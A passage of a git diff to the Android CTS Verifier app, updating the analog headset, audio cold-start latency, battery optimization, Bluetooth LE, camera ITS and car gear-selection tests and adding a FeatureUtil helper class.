is necessary to have an Android device with a 3.5mm analog headset jack and a compatible analog headset with Hook, Volume Up and Volume Down buttons.\n + \n(see <a href="https://source.android.com/devices/accessories/headset/plug-headset-spec">3.5 mm Headset: Accessory Specification</a> and + <a href="https://source.android.com/compatibility/android-cdd#7_8_2_1_analog_audio_ports">Android CDD § 7.8.2.1. Analog Audio Ports</a>) </string> <!-- Audio AEC Test --> <string name="audio_aec_test">Audio Acoustic Echo Cancellation (AEC) Test</string> diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java index c998c542d6f..4ce2a12902c 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AnalogHeadsetAudioActivity.java @@ -24,6 +24,7 @@ import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; +import android.content.res.Resources; import android.graphics.Color; @@ -60,6 +61,7 @@ public class AnalogHeadsetAudioActivity private AudioManager mAudioManager; // UI + private TextView mHasPortQueryText; private Button mHasAnalogPortYesBtn; private Button mHasAnalogPortNoBtn; @@ -67,10 +69,12 @@ public class AnalogHeadsetAudioActivity private Button mStopButton; private Button mPlaybackSuccessBtn; private Button mPlaybackFailBtn; + private TextView mPlaybackStatusTxt; private TextView mHeadsetNameText; private TextView mHeadsetPlugMessage; + private TextView mButtonsPromptTxt; private TextView mHeadsetHookText; private TextView mHeadsetVolUpText; private TextView mHeadsetVolDownText; @@ -90,6 +94,8 @@ public class AnalogHeadsetAudioActivity private boolean mHasVolUp; private boolean mHasVolDown; + private TextView mResultsTxt; + // Player protected boolean mIsPlaying = false; @@ -113,6 +119,7 @@ public class AnalogHeadsetAudioActivity mHeadsetPlugMessage = (TextView)findViewById(R.id.headset_analog_plug_message); // Analog Port? + mHasPortQueryText = (TextView)findViewById(R.id.analog_headset_query) ; mHasAnalogPortYesBtn = (Button)findViewById(R.id.headset_analog_port_yes); mHasAnalogPortYesBtn.setOnClickListener(this); mHasAnalogPortNoBtn = (Button)findViewById(R.id.headset_analog_port_no); @@ -123,6 +130,7 @@ public class AnalogHeadsetAudioActivity mPlayButton.setOnClickListener(this); mStopButton = (Button)findViewById(R.id.headset_analog_stop); mStopButton.setOnClickListener(this); + mPlaybackStatusTxt = (TextView)findViewById(R.id.analog_headset_playback_status); // Play Status mPlaybackSuccessBtn = (Button)findViewById(R.id.headset_analog_play_yes); @@ -133,10 +141,13 @@ public class AnalogHeadsetAudioActivity mPlaybackFailBtn.setEnabled(false); // Keycodes + mButtonsPromptTxt = (TextView)findViewById(R.id.analog_headset_keycodes_prompt); mHeadsetHookText = (TextView)findViewById(R.id.headset_keycode_headsethook); mHeadsetVolUpText = (TextView)findViewById(R.id.headset_keycode_volume_up); mHeadsetVolDownText = (TextView)findViewById(R.id.headset_keycode_volume_down); + mResultsTxt = (TextView)findViewById(R.id.headset_results); + mAudioManager = (AudioManager)getSystemService(AUDIO_SERVICE); setupPlayer(); @@ -161,12 +172,17 @@ public class AnalogHeadsetAudioActivity // private boolean calculatePass() { if (!mHasHeadsetPort) { + mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass_noheadset)); return true; } else { - return mPlugIntentReceived && + boolean pass = mPlugIntentReceived && mHeadsetDeviceInfo != null && mPlaybackSuccess && (mHasHeadsetHook || mHasPlayPause) && mHasVolUp && mHasVolDown; + if (pass) { + mResultsTxt.setText(getResources().getString(R.string.analog_headset_pass)); + } + return pass; } } @@ -177,20 +193,19 @@ public class AnalogHeadsetAudioActivity has ? 1 : 0, ResultType.NEUTRAL, ResultUnit.NONE); - if (has) { - mHasAnalogPortNoBtn.setEnabled(false); - } else { - mHasAnalogPortYesBtn.setEnabled(false); - } enablePlayerButtons(has && mHeadsetDeviceInfo != null); if (!has) { // no port, so can't test. Let them pass - getPassButton().setEnabled(true); + getPassButton().setEnabled(calculatePass()); } } private void reportPlugIntent(Intent intent) { + // NOTE: This is a "sticky" intent meaning that if a headset has EVER been plugged in + // (since a reboot), we will receive this intent. + Resources resources = getResources(); + // [C-1-4] MUST trigger ACTION_HEADSET_PLUG upon a plug insert, // but only after all contacts on plug are touching their relevant segments on the jack. mPlugIntentReceived = true; @@ -201,9 +216,11 @@ public class AnalogHeadsetAudioActivity int state = intent.getIntExtra("state", -1); if (state != -1) { - StringBuilder sb = new StringBuilder(); - sb.append("ACTION_HEADSET_PLUG received - " + (state == 0 ? "Unplugged" : "Plugged")); + sb.append(resources.getString(R.string.analog_headset_action_received) + + resources.getString( + state == 0 ? R.string.analog_headset_unplugged + : R.string.analog_headset_plugged)); String name = intent.getStringExtra("name"); if (name != null) { @@ -212,11 +229,23 @@ public class AnalogHeadsetAudioActivity int hasMic = intent.getIntExtra("microphone", 0); if (hasMic == 1) { - sb.append(" [mic]"); + sb.append(resources.getString(R.string.analog_headset_mic)); } mHeadsetPlugMessage.setText(sb.toString()); + + // If we receive this intent, there is no need to ask if there is an analog jack. + reportHeadsetPort(true); + + mHasPortQueryText.setText(getResources().getString( + R.string.analog_headset_port_detected)); + mHasAnalogPortYesBtn.setVisibility(View.GONE); + mHasAnalogPortNoBtn.setVisibility(View.GONE); + + mPlaybackStatusTxt.setText(getResources().getString( + R.string.analog_headset_playback_prompt)); } + getReportLog().addValue( "ACTION_HEADSET_PLUG Intent Received. State: ", state, @@ -228,14 +257,9 @@ public class AnalogHeadsetAudioActivity // [C-1-1] MUST support audio playback to stereo headphones // and stereo headsets with a microphone. mPlaybackSuccess = success; - if (success) { - mPlaybackFailBtn.setEnabled(false); - } else { - mPlaybackSuccessBtn.setEnabled(false); - } mPlaybackSuccessBtn.setEnabled(success); - mPlaybackFailBtn.setEnabled(success); + mPlaybackFailBtn.setEnabled(!success); getPassButton().setEnabled(calculatePass()); @@ -244,6 +268,11 @@ public class AnalogHeadsetAudioActivity success ? 1 : 0, ResultType.NEUTRAL, ResultUnit.NONE); + + if (success) { + mButtonsPromptTxt.setText(getResources().getString( + R.string.analog_headset_press_buttons)); + } } // @@ -251,12 +280,10 @@ public class AnalogHeadsetAudioActivity // private void showConnectedDevice() { if (mHeadsetDeviceInfo != null) { - mHeadsetNameText.setText( - mHeadsetDeviceInfo.getType() == AudioDeviceInfo.TYPE_WIRED_HEADSET - ? "Headset Connected" - : "Headphones Connected"); + mHeadsetNameText.setText(getResources().getString( + R.string.analog_headset_headset_connected)); } else { - mHeadsetNameText.setText("No Headset/Headphones Connected"); + mHeadsetNameText.setText(getResources().getString(R.string.analog_headset_no_headset)); } } @@ -299,6 +326,9 @@ public class AnalogHeadsetAudioActivity mAudioPlayer.setupStream(NUM_CHANNELS, SAMPLE_RATE, 96); mAudioPlayer.startStream(); mIsPlaying = true; + + mPlayButton.setEnabled(false); + mStopButton.setEnabled(true); } } @@ -307,6 +337,12 @@ public class AnalogHeadsetAudioActivity mAudioPlayer.stopStream(); mAudioPlayer.teardownStream(); mIsPlaying = false; + + mPlayButton.setEnabled(true); + mStopButton.setEnabled(false); + + mPlaybackStatusTxt.setText(getResources().getString( + R.string.analog_headset_playback_query)); } } @@ -365,7 +401,6 @@ public class AnalogHeadsetAudioActivity } showConnectedDevice(); - enablePlayerButtons(mHeadsetDeviceInfo != null); } private class ConnectListener extends AudioDeviceCallback { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java index 71448dfa25c..0d06c48087f 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioColdStartBaseActivity.java @@ -71,6 +71,7 @@ public abstract class AudioColdStartBaseActivity TextView mAttributesTxt; TextView mOpenTimeTxt; TextView mStartTimeTxt; + TextView mLatencyTxt; TextView mResultsTxt; // Time-base conversions @@ -109,13 +110,24 @@ public abstract class AudioColdStartBaseActivity } void showColdStartLatency() { - mResultsTxt.setText("latency: " + mColdStartlatencyMS); + mLatencyTxt.setText("Latency: " + mColdStartlatencyMS); + + if (mColdStartlatencyMS <= getRecommendedTimeMS()) { + mResultsTxt.setText("PASS. Meets RECOMMENDED latency of " + + getRecommendedTimeMS() + "ms"); + } else if (mColdStartlatencyMS <= getRequiredTimeMS()) { + mResultsTxt.setText("PASS. Meets REQUIRED latency of " + getRequiredTimeMS() + "ms"); + } else { + mResultsTxt.setText("FAIL. Did not meet REQUIRED latency of " + getRequiredTimeMS() + + "ms"); + } } protected void clearResults() { mAttributesTxt.setText(""); mOpenTimeTxt.setText(""); mStartTimeTxt.setText(""); + mLatencyTxt.setText(""); mResultsTxt.setText(""); } @@ -137,9 +149,13 @@ public abstract class AudioColdStartBaseActivity mAttributesTxt = ((TextView) findViewById(R.id.coldstart_attributesTxt)); mOpenTimeTxt = ((TextView) findViewById(R.id.coldstart_openTimeTxt)); mStartTimeTxt = ((TextView) findViewById(R.id.coldstart_startTimeTxt)); - mResultsTxt = (TextView) findViewById(R.id.coldstart_coldLatencyTxt); + mLatencyTxt = (TextView) findViewById(R.id.coldstart_coldLatencyTxt); + mResultsTxt = (TextView) findViewById(R.id.coldstart_coldResultsTxt); } + abstract int getRequiredTimeMS(); + abstract int getRecommendedTimeMS(); + abstract boolean startAudioTest(); abstract void stopAudioTest(); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java index ec0ff2ee235..5ed51e32ce2 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyVoiceRecognitionActivity.java @@ -267,7 +267,7 @@ public class AudioFrequencyVoiceRecognitionActivity extends AudioFrequencyActivi //Init bands for Mic test mBandSpecsMic[0] = new AudioBandSpecs( - 5, 100, /* frequency start,stop */ + 30, 100, /* frequency start,stop */ 20.0, -20.0, /* start top,bottom value */ 20.0, -20.0 /* stop top,bottom value */); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java index 9af7e14c0ac..346a526785c 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInColdStartLatencyActivity.java @@ -48,7 +48,7 @@ public class AudioInColdStartLatencyActivity // MegaAudio private Recorder mRecorder; - private TextView mCallbackDeltaTxt; +// private TextView mCallbackDeltaTxt; private long mPreviousCallbackTime; private long mCallbackDeltaTime; @@ -88,15 +88,24 @@ public class AudioInColdStartLatencyActivity } void showInResults() { - showColdStartLatency(); - calcTestResult(); + showColdStartLatency(); } protected void stopAudio() { stopAudioTest(); } + @Override + int getRequiredTimeMS() { + return LATENCY_MS_MUST; + } + + @Override + int getRecommendedTimeMS() { + return LATENCY_MS_RECOMMEND; + } + // // Audio Streaming // @@ -124,7 +133,7 @@ public class AudioInColdStartLatencyActivity mIsTestRunning = true; } catch (RecorderBuilder.BadStateException badStateException) { - mResultsTxt.setText("Can't Start Recorder."); + mLatencyTxt.setText("Can't Start Recorder."); Log.e(TAG, "BadStateException: " + badStateException); mIsTestRunning = false; } @@ -150,6 +159,7 @@ public class AudioInColdStartLatencyActivity } mRecorder.stopStream(); + mRecorder.teardownStream(); mIsTestRunning = false; @@ -164,7 +174,7 @@ public class AudioInColdStartLatencyActivity // Callback for Recorder /* * Monitor callbacks until they become consistent (i.e. delta between callbacks is below - * some threshold like 1/8 the "nominal" callback time. This is defined as the "cold start + * some threshold like 1/8 the "nominal" callback time). This is defined as the "cold start * latency". Calculate that time and display the results. */ class ColdStartAppCallback implements AppCallback { diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java index 8f6c7f945f6..40ba9eb3379 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioOutColdStartLatencyActivity.java @@ -112,10 +112,6 @@ public class AudioOutColdStartLatencyActivity return mColdStartlatencyMS; } - protected void stopAudio() { - stopAudioTest(); - } - void startOutTimer() { TimerTask task = new TimerTask() { public void run() { @@ -125,16 +121,16 @@ public class AudioOutColdStartLatencyActivity @Override public void run() { calcColdStartLatency(mPullTimestamp); - showColdStartLatency(); stopAudioTest(); updateTestStateButtons(); + showColdStartLatency(); calcTestResult(); } }); } else { Log.e(TAG, "NO TIME STAMP"); - mResultsTxt.setText("NO TIME STAMP"); + mLatencyTxt.setText("NO TIME STAMP"); } mTimer = null; @@ -152,6 +148,16 @@ public class AudioOutColdStartLatencyActivity } } + @Override + int getRequiredTimeMS() { + return LATENCY_MS_MUST; + } + + @Override + int getRecommendedTimeMS() { + return LATENCY_MS_RECOMMEND; + } + // // Audio Streaming // @@ -177,7 +183,7 @@ public class AudioOutColdStartLatencyActivity mIsTestRunning = true; } catch (PlayerBuilder.BadStateException badStateException) { Log.e(TAG, "BadStateException: " + badStateException); - mResultsTxt.setText("Can't Start Player."); + mLatencyTxt.setText("Can't Start Player."); mIsTestRunning = false; } @@ -198,6 +204,8 @@ public class AudioOutColdStartLatencyActivity } mPlayer.stopStream(); + mPlayer.teardownStream(); + mIsTestRunning = false; stopOutTimer(); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java index 29e23c79cdb..beed70aa1f2 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/IgnoreBatteryOptimizationsTestActivity.java @@ -77,12 +77,6 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity return true; } - private void openAppInfoPage() { - Intent appInfoIntent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS); - appInfoIntent.setData(Uri.parse("package:" + getPackageName())); - startActivity(appInfoIntent); - } - private void openIgnoreBatteryOptimizationsAppList() { Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS); startActivity(intent); @@ -101,7 +95,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity @Override protected void onNextClick() { if (isExempted()) { - openAppInfoPage(); + openIgnoreBatteryOptimizationsAppList(); } else { succeed(); } @@ -151,7 +145,7 @@ public class IgnoreBatteryOptimizationsTestActivity extends OrderedTestActivity @Override protected void onNextClick() { if (isExempted()) { - openAppInfoPage(); + openIgnoreBatteryOptimizationsAppList(); } else { succeed(); } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java index bfcd85d6dc5..a05daaedad6 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java @@ -28,6 +28,7 @@ import android.content.Intent; import android.content.IntentFilter; import android.os.Bundle; import android.os.Handler; +import android.util.Log; import android.widget.ListView; import com.android.cts.verifier.PassFailButtons; @@ -35,7 +36,6 @@ import com.android.cts.verifier.R; import java.util.ArrayList; import java.util.List; -import android.util.Log; public class BleClientTestBaseActivity extends PassFailButtons.Activity { public static final String TAG = "BleClientTestBase"; @@ -104,8 +104,8 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity { } @Override - public void onResume() { - super.onResume(); + public void onStart() { + super.onStart(); IntentFilter filter = new IntentFilter(); filter.addAction(BleClientService.BLE_BLUETOOTH_CONNECTED); @@ -138,10 +138,15 @@ public class BleClientTestBaseActivity extends PassFailButtons.Activity { @Override public void onPause() { super.onPause(); - unregisterReceiver(mBroadcast); closeDialog(); } + @Override + public void onStop() { + super.onStop(); + unregisterReceiver(mBroadcast); + } + private synchronized void closeDialog() { if (mDialog != null) { mDialog.dismiss(); diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java index 54f8ad1d304..90848a9e07f 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleSecureClientTestListActivity.java @@ -17,7 +17,9 @@ package com.android.cts.verifier.bluetooth;
import android.bluetooth.BluetoothAdapter;
+import android.content.pm.PackageManager;
import android.os.Bundle;
+import android.os.SystemProperties;
import com.android.cts.verifier.ManifestTestListAdapter;
import com.android.cts.verifier.PassFailButtons;
@@ -42,6 +44,16 @@ public class BleSecureClientTestListActivity extends PassFailButtons.TestListAct "com.android.cts.verifier.bluetooth.BleAdvertiserHardwareScanFilterActivity.");
}
+ // RPA is optional on TVs already released before Android 11
+ boolean isTv = getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+ int firstSdk = SystemProperties.getInt("ro.product.first_api_level", 0);
+ if (isTv && (firstSdk <= 29)) {
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureConnectionPriorityClientTestActivity");
+ disabledTest.add(
+ "com.android.cts.verifier.bluetooth.BleSecureEncryptedClientTestActivity");
+ }
+
setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
disabledTest.toArray(new String[disabledTest.size()])));
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java index 63d96879dea..69a63f21ac3 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java @@ -737,9 +737,9 @@ public class ItsService extends Service implements SensorEventListener { doCheckStreamCombination(cmdObj); } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) { doCheckCameraPrivacyModeSupport(); - } else if ("isPerformanceClassPrimaryCamera".equals(cmdObj.getString("cmdName"))) { + } else if ("getPerformanceClassLevel".equals(cmdObj.getString("cmdName"))) { String cameraId = cmdObj.getString("cameraId"); - doCheckPerformanceClassPrimaryCamera(cameraId); + doGetPerformanceClassLevel(cameraId); } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) { String cameraId = cmdObj.getString("cameraId"); doMeasureCameraLaunchMs(cameraId); @@ -1082,9 +1082,9 @@ public class ItsService extends Service implements SensorEventListener { hasPrivacySupport ? "true" : "false"); } - private void doCheckPerformanceClassPrimaryCamera(String cameraId) throws ItsException { - boolean isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S - || Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R); + private void doGetPerformanceClassLevel(String cameraId) throws ItsException { + boolean isSPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S); + boolean isRPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R); if (mItsCameraIdList == null) { mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager); @@ -1116,8 +1116,9 @@ public class ItsService extends Service implements SensorEventListener { throw new ItsException("Failed to get camera characteristics", e); } - mSocketRunnableObj.sendResponse("performanceClassPrimaryCamera", - (isPerfClass && isPrimaryCamera) ? "true" : "false"); + mSocketRunnableObj.sendResponse("performanceClassLevel", + (isSPerfClass && isPrimaryCamera) ? "12" : + ((isRPerfClass && isPrimaryCamera) ? "11" : "0")); } private double invokeCameraPerformanceTest(Class testClass, String testName, diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java index ed5cfc9009d..c926d1aebc8 100644 --- a/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java +++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GearSelectionTestActivity.java @@ -18,29 +18,37 @@ package com.android.cts.verifier.car; import android.car.Car; import android.car.VehicleGear; +import android.car.VehiclePropertyIds; import android.car.hardware.CarPropertyConfig; import android.car.hardware.CarPropertyValue; import android.car.hardware.property.CarPropertyManager; -import android.car.VehicleAreaType; -import android.car.VehiclePropertyIds; import android.os.Bundle; -import android.widget.TextView; -import android.util.ArraySet; import android.util.Log; +import android.widget.TextView; import com.android.cts.verifier.PassFailButtons; import com.android.cts.verifier.R; -import java.util.Arrays; import java.util.List; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.TimeUnit; /** A CTS Verifier test case to verify GEAR_SELECTION is implemented correctly.*/ -public class GearSelectionTestActivity extends PassFailButtons.Activity { +public final class GearSelectionTestActivity extends PassFailButtons.Activity { private static final String TAG = GearSelectionTestActivity.class.getSimpleName(); + + // Need to finish the test in 10 minutes. + private static final long TEST_TIMEOUT_MINUTES = 10; + private List<Integer> mSupportedGears; - private int mGearsAchievedCount = 0; + private Integer mGearsAchievedCount = 0; private TextView mExpectedGearSelectionTextView; private TextView mCurrentGearSelectionTextView; + private CarPropertyManager mCarPropertyManager; + private ExecutorService mExecutor; + private GearSelectionCallback mGearSelectionCallback = new GearSelectionCallback(); @Override protected void onCreate(Bundle savedInstanceState) { @@ -54,30 +62,58 @@ public class GearSelectionTestActivity extends PassFailButtons.Activity { mExpectedGearSelectionTextView = (TextView) findViewById(R.id.expected_gear_selection); mCurrentGearSelectionTextView = (TextView) findViewById(R.id.current_gear_selection); + mExecutor = Executors.newSingleThreadExecutor(); + setUpTest(); + } - CarPropertyManager carPropertyManager = - (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE); - - // TODO(b/138961351): Verify test works on manual transmission. - mSupportedGears = carPropertyManager.getPropertyList(new ArraySet<>(Arrays.asList(new - Integer[]{VehiclePropertyIds.GEAR_SELECTION}))).get(0).getConfigArray(); + private void setUpTest() { + mCarPropertyManager = + (CarPropertyManager) Car.createCar(this).getCarManager(Car.PROPERTY_SERVICE); + if (mCarPropertyManager == null) { + Log.e(TAG, "Failed to get CarPropertyManager"); + mExpectedGearSelectionTextView.setText("CONNECTING ERROR"); + return; + } - if(mSupportedGears.size() != 0){ - Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0))); - mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0))); - } else { - Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property"); - mExpectedGearSelectionTextView.setText("ERROR"); + //Verify property config + CarPropertyConfig<?> gearConfig = mCarPropertyManager.getCarPropertyConfig( + VehiclePropertyIds.GEAR_SELECTION); + if (gearConfig == null || gearConfig.getConfigArray().size() == 0) { + Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property"); + mExpectedGearSelectionTextView.setText("GEAR CONFIG ERROR"); + return; } - if(!carPropertyManager.registerCallback(mCarPropertyEventCallback, - VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) { - Log.e(TAG, "Failed to register callback for GEAR_SELECTION with CarPropertyManager"); + //Register the callback for testing + mSupportedGears = gearConfig.getConfigArray(); + Log.i(TAG, "New Expected Gear: " + VehicleGear.toString(mSupportedGears.get(0))); + mExpectedGearSelectionTextView.setText(VehicleGear.toString(mSupportedGears.get(0))); + mGearSelectionCallback = new GearSelectionCallback(); + mGearSelectionCallback.setSupportedGearCounter(mSupportedGears.size()); + if (!mCarPropertyManager.registerCallback(mGearSelectionCallback, + VehiclePropertyIds.GEAR_SELECTION, CarPropertyManager.SENSOR_RATE_ONCHANGE)) { + Log.e(TAG, + "Failed to register callback for GEAR_SELECTION with CarPropertyManager"); + mExpectedGearSelectionTextView.setText("CONNECTING ERROR"); + return; } + + //Unregister if test is timeout + mExecutor.execute(() -> { + try { + mGearSelectionCallback.unregisterIfTimeout(); + } catch (InterruptedException e) { + Log.e(TAG, "Test is interrupted: " + e); + mExpectedGearSelectionTextView.setText("INTERRUPTED"); + Thread.currentThread().interrupt(); + } + }); } - private final CarPropertyManager.CarPropertyEventCallback mCarPropertyEventCallback = - new CarPropertyManager.CarPropertyEventCallback() { + private final class GearSelectionCallback implements + CarPropertyManager.CarPropertyEventCallback { + private CountDownLatch mCountDownLatch; + private int mVerifyingIndex; @Override public void onChangeEvent(CarPropertyValue value) { if(value.getStatus() != CarPropertyValue.STATUS_AVAILABLE) { @@ -89,26 +125,23 @@ public class GearSelectionTestActivity extends PassFailButtons.Activity { mCurrentGearSelectionTextView.setText(VehicleGear.toString(newGearSelection)); Log.i(TAG, "New Gear Selection: " + VehicleGear.toString(newGearSelection)); - if (mSupportedGears.size() == 0) { - Log.e(TAG, "No gears specified in the config array of GEAR_SELECTION property"); - return; - } - // Check to see if new gear matches the expected gear. - if (newGearSelection.equals(mSupportedGears.get(mGearsAchievedCount))) { - mGearsAchievedCount++; + if (newGearSelection.equals(mSupportedGears.get(mVerifyingIndex))) { + mCountDownLatch.countDown(); + mVerifyingIndex++; Log.i(TAG, "Matched gear: " + VehicleGear.toString(newGearSelection)); - // Check to see if the test is finished. - if (mGearsAchievedCount >= mSupportedGears.size()) { + if (mCountDownLatch.getCount() != 0) { + // Test is not finished so update the expected gear. + mExpectedGearSelectionTextView.setText( + VehicleGear.toString(mSupportedGears.get(mVerifyingIndex))); + Log.i(TAG, "New Expected Gear: " + + VehicleGear.toString(mSupportedGears.get(mVerifyingIndex))); + } else { + // Test is finished, unregister the callback + mCarPropertyManager.unregisterCallback(mGearSelectionCallback); mExpectedGearSelectionTextView.setText("Finished"); getPassButton().setEnabled(true); Log.i(TAG, "Finished Test"); - } else { - // Test is not finished so update the expected gear. - mExpectedGearSelectionTextView.setText( - VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount))); - Log.i(TAG, "New Expected Gear: " + - VehicleGear.toString(mSupportedGears.get(mGearsAchievedCount))); } } } @@ -117,5 +150,17 @@ public class GearSelectionTestActivity extends PassFailButtons.Activity { public void onErrorEvent(int propId, int zone) { Log.e(TAG, "propId: " + propId + " zone: " + zone); } - }; + + public void setSupportedGearCounter(int counter) { + mCountDownLatch = new CountDownLatch(counter); + } + + public void unregisterIfTimeout() throws InterruptedException { + if (!mCountDownLatch.await(TEST_TIMEOUT_MINUTES, TimeUnit.MINUTES)) { + Log.e(TAG, "Failed to complete tests in 10 minutes"); + runOnUiThread(() -> mExpectedGearSelectionTextView.setText("Failed(Timeout)")); + mCarPropertyManager.unregisterCallback(mGearSelectionCallback); + } + } + } } diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java new file mode 100644 index 00000000000..1fe4768e867 --- /dev/null +++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java @@ -0,0 +1,91 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.cts.verifier.features; + +import android.content.Context; +import android.content.pm.PackageManager; +import android.os.UserManager; + +/** + * Feature without feature flag for now will be skipped based on the devices temporarily. + * TODO(b/189282625): replace device feature with a more specific feature. + */ +public final class FeatureUtil { + + private FeatureUtil() { + throw new AssertionError(); + } + + /** + * Checks whether the device supports configing (e.g. disable, enable) location + */ + public static boolean isConfigLocationSupported(Context context) { + return !isWatchOrAutomotive(context); + } + + /** + * Checks whether the device supports configing lock screen + */ + public static boolean isConfigLockScreenSupported(Context context) { + return !isWatchOrAutomotive(context); + } + + /** + * Checks whether the device supports Easter egg / game + */ + public static boolean isFunSupported(Context context) { + return !isWatchOrAutomotive(context); + } + + /** + * Checks whether the device supports screen timeout + */ + public static boolean isScreenTimeoutSupported(Context context) { + return !isWatchOrAutomotive(context); + } + + /** + * Checks whether the device supports third party accessibility service + */ + public static boolean isThirdPartyAccessibilityServiceSupported(Context context) { + return !isWatchOrAutomotive(context); + } + + /** + * Checks whether the device supports configuring VPN + */ + public static boolean isConfigVpnSupported(Context context) { + return !isWatchOrAutomotive(context); + } + + /** + * Checks whether the device is watch or automotive + */ + private static boolean isWatchOrAutomotive(Context context) { + PackageManager pm = context.getPackageManager(); + return pm.hasSystemFeature(PackageManager.FEATURE_WATCH) + || pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE); + } + + /** + * Checks whether the device supports managed secondary users. + */ + public static boolean supportManagedSecondaryUsers(Context context) { + return (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_MANAGED_USERS) + || UserManager.isHeadlessSystemUserMode()) && UserManager.supportsMultipleUsers(); + } +} diff --git 